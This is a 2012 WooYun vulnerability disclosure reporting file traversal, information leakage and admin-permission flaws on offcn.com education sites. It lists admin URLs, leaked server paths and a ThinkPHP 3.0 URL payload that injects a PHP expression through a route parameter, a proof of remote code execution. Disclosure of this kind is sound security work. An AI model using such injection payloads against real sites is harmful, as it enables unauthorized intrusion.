漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2012-016303
漏洞标题：中公教育 遍历+信息泄露+修改权限
相关厂商：中公教育
漏洞作者： moro
提交时间：2012-12-21 10:57
修复时间：2013-02-04 10:58
公开时间：2013-02-04 10:58
漏洞类型：任意文件遍历/下载
危害等级：中
自评Rank：10
漏洞状态：未联系到厂商或者厂商积极忽略
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2012-12-21： 积极联系厂商并且等待厂商认领中，细节不对外公开
2013-02-04： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
如题
详细说明：
http://slyj.offcn.com/slpgadmin/index.php?s=/Learn/c_category_edit/id/499/
http://slyj.offcn.com/slpgadmin/index.php?s=/Learn/
http://zw.offcn.com/index.php/module/action/param1/$%7B@print(THINK_VERSION)%7D
[12-12-21 01:18:12] F:\web\zhiwei.offcn.com\ThinkPHP\Lib\Core\App.class.php (159) App::exec()
[12-12-21 01:18:12] F:\web\zhiwei.offcn.com\ThinkPHP\Lib\Core\Think.class.php (47) App::run()
[12-12-21 01:18:12] F:\web\zhiwei.offcn.com\ThinkPHP\Common\runtime.php (237) Think::Start()
[12-12-21 01:18:12] F:\web\zhiwei.offcn.com\ThinkPHP\ThinkPHP.php (34) require(F:\web\zhiwei.offcn.com\ThinkPHP\Common\runtime.php)
[12-12-21 01:18:12] F:\web\zhiwei.offcn.com\zw.offcn.com\index.php (18) require(F:\web\zhiwei.offcn.com\ThinkPHP\ThinkPHP.php)
错误位置: FILE: F:\web\zhiwei.offcn.com\ThinkPHP\Lib\Core\App.class.php LINE: 159
ThinkPHP 3.0
漏洞证明：
<img src="/upl
oad/201212/21013047bf385b3d1bcce36f12092d4eb0dcf32e.jpg" alt="1.jpg" />
THINKPHP3.0 你懂的
修复方案：
版权声明：转载请注明来源 moro@乌云
漏洞回应
厂商回应：
未能联系到厂商或者厂商积极拒绝